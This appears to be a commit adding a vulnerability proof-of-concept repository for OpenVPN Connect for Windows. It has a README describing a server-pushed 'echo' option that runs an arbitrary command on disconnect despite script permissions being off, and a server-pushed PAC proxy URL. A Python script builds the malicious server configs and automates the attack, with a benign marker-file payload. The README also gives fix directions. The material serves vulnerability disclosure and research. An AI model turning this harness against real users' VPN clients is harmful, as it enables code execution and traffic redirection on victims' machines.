Upload files to "openvpn-connect-echo-script-ace-poc"
This commit is contained in:
@@ -0,0 +1,239 @@
|
|||||||
|
# OpenVPN Connect Server-Pushed Option Findings PoC
|
||||||
|
|
||||||
|
Benign proof of concept bundle for two locally verified OpenVPN Connect for Windows behaviors reachable from a malicious VPN server after a victim imports and connects to an `.ovpn` profile.
|
||||||
|
|
||||||
|
This repository is intentionally marker-only. It does not use PowerShell, pop calc, install persistence, read credentials, modify protected files, or start a reverse shell.
|
||||||
|
|
||||||
|
## Findings
|
||||||
|
|
||||||
|
### Finding 1: Echo Script Permission Bypass to Current-User ACE
|
||||||
|
|
||||||
|
A malicious OpenVPN server can push an `echo` option that decodes into `script.win.user.disconnect`. OpenVPN Connect later executes that command on disconnect even though the imported profile's script permission state remains unset or false.
|
||||||
|
|
||||||
|
Server primitive:
|
||||||
|
|
||||||
|
```text
|
||||||
|
push "echo 0:0:<base64(script.win.user.disconnect)>.<base64(command)>"
|
||||||
|
```
|
||||||
|
|
||||||
|
Verified impact:
|
||||||
|
|
||||||
|
- Current-user arbitrary command execution on VPN disconnect.
|
||||||
|
- Import alone is not enough. The client must connect, receive the pushed `echo` value, and then disconnect.
|
||||||
|
- The default payload writes `%TEMP%\openvpn_connect_echo_script_ace_marker.txt`.
|
||||||
|
|
||||||
|
Observed permission state during local verification:
|
||||||
|
|
||||||
|
```text
|
||||||
|
scriptsPermissionGranted=false
|
||||||
|
scriptsPermissionLocked=false
|
||||||
|
```
|
||||||
|
|
||||||
|
### Finding 2: Server-Pushed PAC Auto-Config State Control
|
||||||
|
|
||||||
|
A malicious OpenVPN server can push `dhcp-option PROXY_AUTO_CONFIG_URL`. OpenVPN Connect passes the pushed PAC URL through the privileged `/tun-setup` path, and the LocalSystem agent applies the proxy action by impersonating the current user. During the VPN session, HKCU Internet Settings receives the server-controlled `AutoConfigURL`; OpenVPN Connect clears it on disconnect.
|
||||||
|
|
||||||
|
Server primitive:
|
||||||
|
|
||||||
|
```text
|
||||||
|
push "dhcp-option PROXY_AUTO_CONFIG_URL http://127.0.0.1:18080/openvpn-connect-ace.pac"
|
||||||
|
```
|
||||||
|
|
||||||
|
Verified impact:
|
||||||
|
|
||||||
|
- Server-controlled PAC URL is applied while connected.
|
||||||
|
- The state change is transient and is cleaned up on disconnect in the tested build.
|
||||||
|
- This is not a SYSTEM shell. It is a separate server-controlled client state modification through the privileged OpenVPN Connect helper path.
|
||||||
|
|
||||||
|
Registry state observed in local verification:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Before connect: AutoConfigURL=null, ProxyEnable=0
|
||||||
|
During connect: AutoConfigURL=http://127.0.0.1:18080/openvpn-connect-poc.pac, ProxyEnable=0
|
||||||
|
After disconnect: AutoConfigURL=null, ProxyEnable=0
|
||||||
|
```
|
||||||
|
|
||||||
|
Relevant log indicators:
|
||||||
|
|
||||||
|
```text
|
||||||
|
0 [dhcp-option] [PROXY_AUTO_CONFIG_URL] [http://127.0.0.1:18080/openvpn-connect-poc.pac]
|
||||||
|
/tun-setup proxy_auto_config_url.url=http://127.0.0.1:18080/openvpn-connect-poc.pac
|
||||||
|
ProxyAction: auto config: http://127.0.0.1:18080/openvpn-connect-poc.pac
|
||||||
|
```
|
||||||
|
|
||||||
|
## Tested Target
|
||||||
|
|
||||||
|
- OpenVPN Connect for Windows `3.8.0 (4528)`
|
||||||
|
- OpenVPN core `3.11.3`
|
||||||
|
- Windows desktop target
|
||||||
|
|
||||||
|
Follow-up local checks also showed that code running as the current user inside the genuine `OpenVPNConnect.exe` process can reach LocalSystem helper/agent named-pipe handlers that reject arbitrary external clients. That is useful escalation context for impact analysis, but it is not presented here as standalone SYSTEM RCE.
|
||||||
|
|
||||||
|
## Repository Layout
|
||||||
|
|
||||||
|
```text
|
||||||
|
.
|
||||||
|
|-- README.md
|
||||||
|
|-- poc.py
|
||||||
|
|-- certs/
|
||||||
|
| |-- ca.crt
|
||||||
|
| |-- server.crt
|
||||||
|
| |-- server.key
|
||||||
|
| |-- client.crt
|
||||||
|
| `-- client.key
|
||||||
|
`-- runtime/
|
||||||
|
```
|
||||||
|
|
||||||
|
`runtime/` is generated locally and git-ignored. The certificates are throwaway lab material only. Do not reuse them for a real VPN.
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
- Python 3.9+
|
||||||
|
- OpenVPN 2.x community binary for the local test server
|
||||||
|
- OpenVPN Connect installed on the Windows target
|
||||||
|
|
||||||
|
The PoC uses Python and `cmd.exe` only. There is no `.ps1` runner.
|
||||||
|
|
||||||
|
If `openvpn.exe` is not on `PATH`, pass it explicitly:
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
python poc.py --mode server --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
Build the echo-script ACE configs:
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
python poc.py --mode build --finding echo-script
|
||||||
|
```
|
||||||
|
|
||||||
|
Build the PAC auto-config configs:
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
python poc.py --mode build --finding proxy-auto-config
|
||||||
|
```
|
||||||
|
|
||||||
|
Generated files are written under `runtime/`. The client `.ovpn` file is the profile to import into OpenVPN Connect. The server `.ovpn` file is used by the local malicious OpenVPN 2.x test server.
|
||||||
|
|
||||||
|
## Manual Reproduction: Echo Script ACE
|
||||||
|
|
||||||
|
Start the local malicious server:
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
python poc.py --mode server --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
|
||||||
|
```
|
||||||
|
|
||||||
|
Then:
|
||||||
|
|
||||||
|
1. Import `runtime\client_echo_script_poc.ovpn` into OpenVPN Connect.
|
||||||
|
2. Connect to the imported `127.0.0.1` profile.
|
||||||
|
3. Disconnect normally.
|
||||||
|
4. Check the marker path printed by `poc.py`.
|
||||||
|
|
||||||
|
Expected marker content:
|
||||||
|
|
||||||
|
```text
|
||||||
|
OPENVPN_CONNECT_ECHO_SCRIPT_ACE
|
||||||
|
```
|
||||||
|
|
||||||
|
## Manual Reproduction: PAC Auto-Config
|
||||||
|
|
||||||
|
Start the local malicious server:
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
python poc.py --mode server --finding proxy-auto-config --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
|
||||||
|
```
|
||||||
|
|
||||||
|
Then:
|
||||||
|
|
||||||
|
1. Import `runtime\client_proxy_auto_config_poc.ovpn` into OpenVPN Connect.
|
||||||
|
2. Connect to the imported `127.0.0.1` profile.
|
||||||
|
3. While connected, inspect the PAC registry value:
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
|
||||||
|
```
|
||||||
|
|
||||||
|
4. Disconnect normally.
|
||||||
|
5. Query the same value again and confirm cleanup.
|
||||||
|
|
||||||
|
Expected during connection:
|
||||||
|
|
||||||
|
```text
|
||||||
|
AutoConfigURL REG_SZ http://127.0.0.1:18080/openvpn-connect-ace.pac
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected after disconnect:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ERROR: The system was unable to find the specified registry key or value.
|
||||||
|
```
|
||||||
|
|
||||||
|
## Automated Local Reproduction
|
||||||
|
|
||||||
|
Echo-script ACE:
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
python poc.py --mode auto --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
|
||||||
|
```
|
||||||
|
|
||||||
|
PAC auto-config:
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
python poc.py --mode auto --finding proxy-auto-config --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
|
||||||
|
```
|
||||||
|
|
||||||
|
If OpenVPN Connect is installed elsewhere:
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
python poc.py --mode auto --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe" --connect "C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe"
|
||||||
|
```
|
||||||
|
|
||||||
|
`auto` mode imports a disposable profile, connects, captures the relevant marker or proxy state, disconnects, removes the profile, and quits the test-launched Connect process.
|
||||||
|
|
||||||
|
## Evidence To Capture
|
||||||
|
|
||||||
|
For Finding 1:
|
||||||
|
|
||||||
|
- Generated `runtime\server.ovpn` push line containing `echo 0:0:`.
|
||||||
|
- OpenVPN Connect log line showing `0 [echo] [0:0:...]`.
|
||||||
|
- Marker file `%TEMP%\openvpn_connect_echo_script_ace_marker.txt`.
|
||||||
|
- Profile state showing script permissions unset or false.
|
||||||
|
|
||||||
|
For Finding 2:
|
||||||
|
|
||||||
|
- Generated `runtime\server.ovpn` push line containing `dhcp-option PROXY_AUTO_CONFIG_URL`.
|
||||||
|
- OpenVPN Connect log line showing `0 [dhcp-option] [PROXY_AUTO_CONFIG_URL]`.
|
||||||
|
- `/tun-setup` log data containing `proxy_auto_config_url.url`.
|
||||||
|
- Agent log line showing `ProxyAction: auto config`.
|
||||||
|
- HKCU Internet Settings `AutoConfigURL` before connect, during connect, and after disconnect.
|
||||||
|
|
||||||
|
## Limits
|
||||||
|
|
||||||
|
This PoC does not prove SYSTEM RCE, silent local privilege escalation, persistence, credential access, arbitrary protected-file write, service tampering, or reverse shell execution.
|
||||||
|
|
||||||
|
Finding 1 proves current-user command execution from a malicious server-controlled option on disconnect.
|
||||||
|
|
||||||
|
Finding 2 proves server-controlled PAC state while connected. Depending on product design and user consent expectations, this may be treated as intended VPN server functionality, a missing visibility/consent issue, or an abuse primitive that matters when chained with the trusted-client helper boundary.
|
||||||
|
|
||||||
|
## Fix Direction
|
||||||
|
|
||||||
|
For Finding 1:
|
||||||
|
|
||||||
|
- Do not execute decoded `script.*` echo data unless the corresponding profile script permission flag is explicitly granted.
|
||||||
|
- Treat server-pushed script-bearing `echo` data as executable configuration.
|
||||||
|
- Prompt before enabling or running any script received from a VPN server.
|
||||||
|
- Reject or ignore pushed script keys when profile policy disallows scripts.
|
||||||
|
- Add regression coverage for `script.win.user.disconnect` where `scriptsPermissionGranted=false`.
|
||||||
|
|
||||||
|
For Finding 2:
|
||||||
|
|
||||||
|
- Make server-pushed proxy/PAC state visible before or during connection.
|
||||||
|
- Provide policy controls to reject server-pushed proxy configuration from untrusted profiles.
|
||||||
|
- Ensure cleanup is reliable across disconnect, crash, reconnect, sleep, and agent restart cases.
|
||||||
|
- Log the origin of the server-pushed PAC URL clearly enough for incident review.
|
||||||
|
|
||||||
|
## Responsible Use
|
||||||
|
|
||||||
|
Use this only on systems you own or are explicitly authorized to test. Keep public demonstrations benign.
|
||||||
@@ -0,0 +1,363 @@
|
|||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import shutil
|
||||||
|
import signal
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
ROOT = Path(__file__).resolve().parent
|
||||||
|
CERT_DIR = ROOT / "certs"
|
||||||
|
RUNTIME_DIR = ROOT / "runtime"
|
||||||
|
DEFAULT_PORT = 11940
|
||||||
|
DEFAULT_MARKER_NAME = "openvpn_connect_echo_script_ace_marker.txt"
|
||||||
|
PROFILE_NAME_PREFIX = "openvpn-connect-pushed-option-poc"
|
||||||
|
FINDING_ECHO_SCRIPT = "echo-script"
|
||||||
|
FINDING_PROXY_AUTO_CONFIG = "proxy-auto-config"
|
||||||
|
DEFAULT_PAC_URL = "http://127.0.0.1:18080/openvpn-connect-ace.pac"
|
||||||
|
|
||||||
|
|
||||||
|
def b64(text: str) -> str:
|
||||||
|
return base64.b64encode(text.encode("utf-8")).decode("ascii")
|
||||||
|
|
||||||
|
|
||||||
|
def ovpn_path(path: Path) -> str:
|
||||||
|
return str(path.resolve()).replace("\\", "/")
|
||||||
|
|
||||||
|
|
||||||
|
def read_text(path: Path) -> str:
|
||||||
|
return path.read_text(encoding="ascii")
|
||||||
|
|
||||||
|
|
||||||
|
def require_file(path: Path) -> None:
|
||||||
|
if not path.is_file():
|
||||||
|
raise FileNotFoundError(f"Required file is missing: {path}")
|
||||||
|
|
||||||
|
|
||||||
|
def default_marker_path() -> Path:
|
||||||
|
return Path(tempfile.gettempdir()) / DEFAULT_MARKER_NAME
|
||||||
|
|
||||||
|
|
||||||
|
def default_connect_exe() -> Path | None:
|
||||||
|
env = os.environ.get("OPENVPN_CONNECT_EXE")
|
||||||
|
if env:
|
||||||
|
return Path(env)
|
||||||
|
candidate = Path(r"C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe")
|
||||||
|
return candidate if candidate.is_file() else None
|
||||||
|
|
||||||
|
|
||||||
|
def default_openvpn_exe() -> str | None:
|
||||||
|
env = os.environ.get("OPENVPN_EXE")
|
||||||
|
if env:
|
||||||
|
return env
|
||||||
|
found = shutil.which("openvpn.exe") or shutil.which("openvpn")
|
||||||
|
if found:
|
||||||
|
return found
|
||||||
|
candidate = Path(r"C:\Program Files\OpenVPN\bin\openvpn.exe")
|
||||||
|
return str(candidate) if candidate.is_file() else None
|
||||||
|
|
||||||
|
|
||||||
|
def build_payload_command(marker: Path) -> str:
|
||||||
|
marker_text = str(marker)
|
||||||
|
if '"' in marker_text:
|
||||||
|
raise ValueError("Marker path must not contain a double quote")
|
||||||
|
return f'cmd.exe /c echo OPENVPN_CONNECT_ECHO_SCRIPT_ACE>"{marker_text}"'
|
||||||
|
|
||||||
|
|
||||||
|
def build_server_config(port: int, finding: str, command: str, pac_url: str) -> str:
|
||||||
|
if finding == FINDING_ECHO_SCRIPT:
|
||||||
|
key = b64("script.win.user.disconnect")
|
||||||
|
value = b64(command)
|
||||||
|
pushes = [f'push "echo 0:0:{key}.{value}"']
|
||||||
|
else:
|
||||||
|
pushes = [f'push "dhcp-option PROXY_AUTO_CONFIG_URL {pac_url}"']
|
||||||
|
|
||||||
|
return "\n".join(
|
||||||
|
[
|
||||||
|
f"port {port}",
|
||||||
|
"proto tcp-server",
|
||||||
|
"dev null",
|
||||||
|
"mode server",
|
||||||
|
"tls-server",
|
||||||
|
f'ca "{ovpn_path(CERT_DIR / "ca.crt")}"',
|
||||||
|
f'cert "{ovpn_path(CERT_DIR / "server.crt")}"',
|
||||||
|
f'key "{ovpn_path(CERT_DIR / "server.key")}"',
|
||||||
|
"dh none",
|
||||||
|
"server 10.88.0.0 255.255.255.0",
|
||||||
|
"topology subnet",
|
||||||
|
"keepalive 1 3",
|
||||||
|
"duplicate-cn",
|
||||||
|
*pushes,
|
||||||
|
'push "ping 1"',
|
||||||
|
'push "ping-restart 3"',
|
||||||
|
"verb 4",
|
||||||
|
f'status "{ovpn_path(RUNTIME_DIR / "server.status")}"',
|
||||||
|
f'log "{ovpn_path(RUNTIME_DIR / "server.log")}"',
|
||||||
|
"",
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def build_client_config(port: int) -> str:
|
||||||
|
return "\n".join(
|
||||||
|
[
|
||||||
|
"client",
|
||||||
|
"dev tun",
|
||||||
|
"proto tcp-client",
|
||||||
|
f"remote 127.0.0.1 {port}",
|
||||||
|
"nobind",
|
||||||
|
"persist-key",
|
||||||
|
"persist-tun",
|
||||||
|
"remote-cert-tls server",
|
||||||
|
"auth SHA256",
|
||||||
|
"cipher AES-256-GCM",
|
||||||
|
"data-ciphers AES-256-GCM:AES-128-GCM:CHACHA20-POLY1305",
|
||||||
|
"verb 4",
|
||||||
|
"connect-retry-max 1",
|
||||||
|
"resolv-retry 1",
|
||||||
|
"<ca>",
|
||||||
|
read_text(CERT_DIR / "ca.crt").strip(),
|
||||||
|
"</ca>",
|
||||||
|
"<cert>",
|
||||||
|
read_text(CERT_DIR / "client.crt").strip(),
|
||||||
|
"</cert>",
|
||||||
|
"<key>",
|
||||||
|
read_text(CERT_DIR / "client.key").strip(),
|
||||||
|
"</key>",
|
||||||
|
"",
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def build_configs(port: int, marker: Path, finding: str, pac_url: str) -> tuple[Path, Path, str]:
|
||||||
|
for name in ["ca.crt", "server.crt", "server.key", "client.crt", "client.key"]:
|
||||||
|
require_file(CERT_DIR / name)
|
||||||
|
RUNTIME_DIR.mkdir(exist_ok=True)
|
||||||
|
command = build_payload_command(marker) if finding == FINDING_ECHO_SCRIPT else ""
|
||||||
|
server_config = RUNTIME_DIR / "server.ovpn"
|
||||||
|
client_config = RUNTIME_DIR / f"client_{finding.replace('-', '_')}_poc.ovpn"
|
||||||
|
server_config.write_text(build_server_config(port, finding, command, pac_url), encoding="ascii")
|
||||||
|
client_config.write_text(build_client_config(port), encoding="ascii")
|
||||||
|
detail = command if finding == FINDING_ECHO_SCRIPT else pac_url
|
||||||
|
return server_config, client_config, detail
|
||||||
|
|
||||||
|
|
||||||
|
def run(args: list[str], check: bool = False) -> subprocess.CompletedProcess[str]:
|
||||||
|
completed = subprocess.run(
|
||||||
|
args,
|
||||||
|
text=True,
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.STDOUT,
|
||||||
|
check=False,
|
||||||
|
)
|
||||||
|
if check and completed.returncode != 0:
|
||||||
|
raise RuntimeError(
|
||||||
|
f"Command failed with exit {completed.returncode}: {' '.join(args)}\n{completed.stdout}"
|
||||||
|
)
|
||||||
|
return completed
|
||||||
|
|
||||||
|
|
||||||
|
def start_server(openvpn_exe: str, server_config: Path) -> subprocess.Popen[bytes]:
|
||||||
|
stdout = open(RUNTIME_DIR / "server.stdout.txt", "wb")
|
||||||
|
stderr = open(RUNTIME_DIR / "server.stderr.txt", "wb")
|
||||||
|
proc = subprocess.Popen(
|
||||||
|
[openvpn_exe, "--config", str(server_config)],
|
||||||
|
cwd=str(RUNTIME_DIR),
|
||||||
|
stdout=stdout,
|
||||||
|
stderr=stderr,
|
||||||
|
)
|
||||||
|
time.sleep(2)
|
||||||
|
if proc.poll() is not None:
|
||||||
|
raise RuntimeError(
|
||||||
|
"OpenVPN server exited early. Check runtime/server.log and "
|
||||||
|
"runtime/server.stderr.txt for details."
|
||||||
|
)
|
||||||
|
return proc
|
||||||
|
|
||||||
|
|
||||||
|
def stop_process(proc: subprocess.Popen[bytes] | None) -> None:
|
||||||
|
if not proc or proc.poll() is not None:
|
||||||
|
return
|
||||||
|
if os.name == "nt":
|
||||||
|
proc.terminate()
|
||||||
|
else:
|
||||||
|
proc.send_signal(signal.SIGTERM)
|
||||||
|
try:
|
||||||
|
proc.wait(timeout=5)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
proc.kill()
|
||||||
|
|
||||||
|
|
||||||
|
def connect_cli(connect_exe: Path, *args: str) -> subprocess.CompletedProcess[str]:
|
||||||
|
return run([str(connect_exe), *args])
|
||||||
|
|
||||||
|
|
||||||
|
def list_profiles(connect_exe: Path) -> list[dict]:
|
||||||
|
output = connect_cli(connect_exe, "--list-profiles").stdout.strip()
|
||||||
|
if not output:
|
||||||
|
return []
|
||||||
|
try:
|
||||||
|
data = json.loads(output)
|
||||||
|
return data if isinstance(data, list) else []
|
||||||
|
except json.JSONDecodeError:
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
def import_profile(connect_exe: Path, client_config: Path, profile_name: str) -> str:
|
||||||
|
before = {item.get("id") for item in list_profiles(connect_exe)}
|
||||||
|
completed = connect_cli(
|
||||||
|
connect_exe,
|
||||||
|
f"--import-profile={client_config}",
|
||||||
|
f"--name={profile_name}",
|
||||||
|
)
|
||||||
|
text = completed.stdout.strip()
|
||||||
|
if text:
|
||||||
|
try:
|
||||||
|
parsed = json.loads(text)
|
||||||
|
profile_id = parsed.get("message", {}).get("id")
|
||||||
|
if profile_id:
|
||||||
|
return str(profile_id)
|
||||||
|
except json.JSONDecodeError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
time.sleep(2)
|
||||||
|
for item in list_profiles(connect_exe):
|
||||||
|
if item.get("id") not in before and item.get("name") == profile_name:
|
||||||
|
return str(item["id"])
|
||||||
|
raise RuntimeError(f"Could not determine imported profile id. Import output:\n{text}")
|
||||||
|
|
||||||
|
|
||||||
|
def proxy_state() -> dict[str, object | None]:
|
||||||
|
if os.name != "nt":
|
||||||
|
return {}
|
||||||
|
import winreg
|
||||||
|
|
||||||
|
path = r"Software\Microsoft\Windows\CurrentVersion\Internet Settings"
|
||||||
|
names = ["AutoConfigURL", "ProxyEnable", "ProxyServer", "ProxyOverride"]
|
||||||
|
state: dict[str, object | None] = {}
|
||||||
|
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, path) as key:
|
||||||
|
for name in names:
|
||||||
|
try:
|
||||||
|
state[name] = winreg.QueryValueEx(key, name)[0]
|
||||||
|
except FileNotFoundError:
|
||||||
|
state[name] = None
|
||||||
|
return state
|
||||||
|
|
||||||
|
|
||||||
|
def auto_mode(
|
||||||
|
openvpn_exe: str,
|
||||||
|
connect_exe: Path,
|
||||||
|
server_config: Path,
|
||||||
|
client_config: Path,
|
||||||
|
marker: Path,
|
||||||
|
finding: str,
|
||||||
|
) -> None:
|
||||||
|
if finding == FINDING_ECHO_SCRIPT and marker.exists():
|
||||||
|
marker.unlink()
|
||||||
|
|
||||||
|
server = None
|
||||||
|
profile_id = None
|
||||||
|
profile_name = f"{PROFILE_NAME_PREFIX}-{finding}-{int(time.time())}"
|
||||||
|
before_proxy = proxy_state() if finding == FINDING_PROXY_AUTO_CONFIG else {}
|
||||||
|
try:
|
||||||
|
connect_cli(connect_exe, "--quit")
|
||||||
|
time.sleep(2)
|
||||||
|
server = start_server(openvpn_exe, server_config)
|
||||||
|
profile_id = import_profile(connect_exe, client_config, profile_name)
|
||||||
|
connect_cli(connect_exe, f"--connect-shortcut={profile_id}", "--minimize")
|
||||||
|
print(f"[+] Imported profile id: {profile_id}")
|
||||||
|
print("[+] Waiting for connect and server-pushed option handling...")
|
||||||
|
time.sleep(16)
|
||||||
|
|
||||||
|
if finding == FINDING_PROXY_AUTO_CONFIG:
|
||||||
|
print("[+] Proxy state before connect:")
|
||||||
|
print(json.dumps(before_proxy, indent=2))
|
||||||
|
print("[+] Proxy state during connection:")
|
||||||
|
print(json.dumps(proxy_state(), indent=2))
|
||||||
|
|
||||||
|
connect_cli(connect_exe, "--disconnect-shortcut")
|
||||||
|
time.sleep(4)
|
||||||
|
|
||||||
|
if finding == FINDING_ECHO_SCRIPT and marker.is_file():
|
||||||
|
print(f"[+] Marker created: {marker}")
|
||||||
|
print(marker.read_text(encoding="utf-8", errors="replace").strip())
|
||||||
|
elif finding == FINDING_ECHO_SCRIPT:
|
||||||
|
print(f"[-] Marker was not created: {marker}")
|
||||||
|
print(" Check OpenVPN Connect logs and runtime/server.log.")
|
||||||
|
else:
|
||||||
|
print("[+] Proxy state after disconnect:")
|
||||||
|
print(json.dumps(proxy_state(), indent=2))
|
||||||
|
finally:
|
||||||
|
if profile_id:
|
||||||
|
connect_cli(connect_exe, f"--remove-profile={profile_id}")
|
||||||
|
connect_cli(connect_exe, "--quit")
|
||||||
|
stop_process(server)
|
||||||
|
|
||||||
|
|
||||||
|
def server_mode(openvpn_exe: str, server_config: Path, client_config: Path, marker: Path, finding: str, pac_url: str) -> None:
|
||||||
|
print(f"[+] Client profile: {client_config}")
|
||||||
|
if finding == FINDING_ECHO_SCRIPT:
|
||||||
|
print(f"[+] Marker path after disconnect: {marker}")
|
||||||
|
else:
|
||||||
|
print(f"[+] Pushed PAC URL: {pac_url}")
|
||||||
|
print("[+] Starting local malicious OpenVPN server. Press Ctrl+C to stop.")
|
||||||
|
server = start_server(openvpn_exe, server_config)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
time.sleep(1)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("\n[+] Stopping server...")
|
||||||
|
finally:
|
||||||
|
stop_process(server)
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Benign OpenVPN Connect server-pushed option PoC without PowerShell."
|
||||||
|
)
|
||||||
|
parser.add_argument("--mode", choices=["build", "server", "auto"], default="build")
|
||||||
|
parser.add_argument("--finding", choices=[FINDING_ECHO_SCRIPT, FINDING_PROXY_AUTO_CONFIG], default=FINDING_ECHO_SCRIPT)
|
||||||
|
parser.add_argument("--port", type=int, default=DEFAULT_PORT)
|
||||||
|
parser.add_argument("--marker", type=Path, default=default_marker_path())
|
||||||
|
parser.add_argument("--pac-url", default=DEFAULT_PAC_URL)
|
||||||
|
parser.add_argument("--openvpn", default=default_openvpn_exe(), help="Path to OpenVPN 2.x openvpn executable")
|
||||||
|
parser.add_argument("--connect", type=Path, default=default_connect_exe(), help="Path to OpenVPNConnect.exe")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
server_config, client_config, detail = build_configs(args.port, args.marker, args.finding, args.pac_url)
|
||||||
|
print(f"[+] Wrote {server_config}")
|
||||||
|
print(f"[+] Wrote {client_config}")
|
||||||
|
if args.finding == FINDING_ECHO_SCRIPT:
|
||||||
|
print(f"[+] Pushed disconnect command: {detail}")
|
||||||
|
else:
|
||||||
|
print(f"[+] Pushed PAC URL: {detail}")
|
||||||
|
|
||||||
|
if args.mode == "build":
|
||||||
|
print("[+] Build-only mode complete.")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
if not args.openvpn:
|
||||||
|
print("[-] Could not find OpenVPN 2.x. Pass --openvpn or set OPENVPN_EXE.", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
|
||||||
|
if args.mode == "server":
|
||||||
|
server_mode(args.openvpn, server_config, client_config, args.marker, args.finding, args.pac_url)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
if not args.connect or not args.connect.is_file():
|
||||||
|
print("[-] Could not find OpenVPN Connect. Pass --connect or set OPENVPN_CONNECT_EXE.", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
|
||||||
|
auto_mode(args.openvpn, args.connect, server_config, client_config, args.marker, args.finding)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
Reference in New Issue
Block a user